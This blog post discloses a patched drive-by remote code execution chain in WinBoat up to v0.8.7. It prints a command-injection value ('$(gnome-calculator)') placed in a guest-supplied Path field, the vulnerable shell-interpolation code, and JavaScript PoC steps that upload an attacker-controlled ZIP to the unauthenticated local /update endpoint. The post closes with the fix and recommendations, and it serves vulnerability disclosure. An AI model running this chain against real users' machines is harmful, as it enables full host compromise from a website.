Skip to main content
  1. posts/

WinBoat: Drive by Client RCE + Sandbox excape.

Overview #

WinBoat exposes a Windows “guest service” HTTP API on the host at http://localhost:7148/. The service accepts unauthenticated and has no csrf protections. It is configured with permissive CORS (not nessesory for the exploit but makes for a nice POC). This means we can make requests from our “attackers” site including including an /update endpoint.

By POSTing to /update, an attacker can replace a component (e.g., guest_server) and compromise the container. A compromised container can then return malicious “app entries” to the host. The host renderer trusts the guest-provided Path field and interpolates it into a shell command, which leads to command execution on the Linux host the next time the user clicks the app entry.

Video link: YouTube PoC

Attack Flow #

  1. A remote webpage sends a cross-origin request to http://localhost:7148/update (permissive CORS).
  2. The unauthenticated /update accepts attacker-controlled content and replaces guest_server → container compromise.
  3. The compromised container returns a malicious app list containing an attacker-controlled Path.
  4. The host renderer builds & executes a shell command using that Path → Linux host compromise when the user clicks the app.

Guest → Host Trust Boundary Break #

The malicious app entry looks like:

[
  {
    "Name": "Hax",
    "Path": "$(gnome-calculator)"
  }
]

The renderer treats the guest-provided Path as trusted and uses it to construct a shell command. The vulnerable interpolation is here:

  • WinBoat source: src/renderer/lib/winboat.ts (#L707)
    https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
        let cmd = `${freeRDPBin} /u:"${username}"\
        /p:"${password}"\
        /v:127.0.0.1\
        /port:${rdpHostPort}\
        ${this.#wbConfig?.config.multiMonitor == 2 ? "+span" : ""}\
        -wallpaper\
        ${this.#wbConfig?.config.multiMonitor == 1 ? "/multimon" : ""}\
        ${this.#wbConfig?.config.smartcardEnabled ? "/smartcard" : ""}\
        /scale-desktop:${this.#wbConfig?.config.scaleDesktop ?? 100}\
        ${combinedArgs}\
        /wm-class:"winboat-${cleanAppName}"\
        /app:program:"${app.Path}",name:"${cleanAppName}",cmd:"${app.Args}" &`;
        
        ...

        await execAsync(cmd);

Remember this code runs on the host to tell the RDP server what to run. Out “Path” now has a unix subshell “$(gnome-calculator)” that gets executed, so we now have full RCE on the host.

Proof of Concept Notes #

My PoC at http://winboat.hack.do/ “vibes” the chain together by abusing /update to replace the apps.ps2 script so the guest returns a single new app entry (“Hax”). Once WinBoat displays it, clicking the app triggers host command execution.

Relevant PoC Chunks (browser → localhost:7148) #

The full PoC has a UI, logging, and metrics polling, but the exploit boils down to:

  • Fetching an attacker-controlled ZIP
  • Uploading it cross-origin to the unauthenticated local /update endpoint
  • Polling until the service restarts and the malicious "Hax" app appears in /apps

  // 1) Download attacker-controlled ZIP (contains replacement apps.ps2 / guest_server bits)
  const response = await fetch(sourceUrl);
  ...
  const zipBlob = await response.blob();

  // 2) Upload ZIP to unauthenticated local update endpoint
  const zipFile = new File([zipBlob], "upload.zip", { type: "application/zip" });
  const form = new FormData();
  form.append("updateFile", zipFile);

  const uploadResponse = await fetch(destUrl, {
    method: "POST",
    body: form,
    mode: "cors",
  });
  ...
  waitForServerRestart()
}
     

Impact #

  • Remote → local bridge: any website can target the user’s local WinBoat service on localhost when CORS is permissive.
  • Container compromise → host compromise: a compromised guest can feed attacker-controlled data into privileged host-side command execution.
  • User interaction: host code execution triggers on the next click of the malicious app entry.

Affected Versions #

  • Affected: WinBoat <= v0.8.7
  • Fixed: WinBoat v0.9.0

Fixed in v0.9.0 #

This was resolved in WinBoat v0.9.0 by requiring authentication for the local API via a randomly generated password, preventing arbitrary webpages from issuing unauthenticated update requests.

Recommendations #

  • Treat guest-provided fields like Path as untrusted input; avoid shell interpolation entirely (prefer direct exec with args, strict allowlists, or structured IPC).
  • Keep local privileged services authenticated and avoid permissive CORS on sensitive endpoints (especially update/install surfaces).

References #

  • WinBoat project site
  • PoC video: YouTube
  • Vulnerable interpolation: https://github.com/TibixDev/winboat/blob/aa868ea63512ab984c70c8a9e60ffe841a194167/src/renderer/lib/winboat.ts#L707
  • Fix commit: https://github.com/TibixDev/winboat/commit/403227500a590ad9a82be1237d47a22fae230f36
  • Related commit: 3ca4186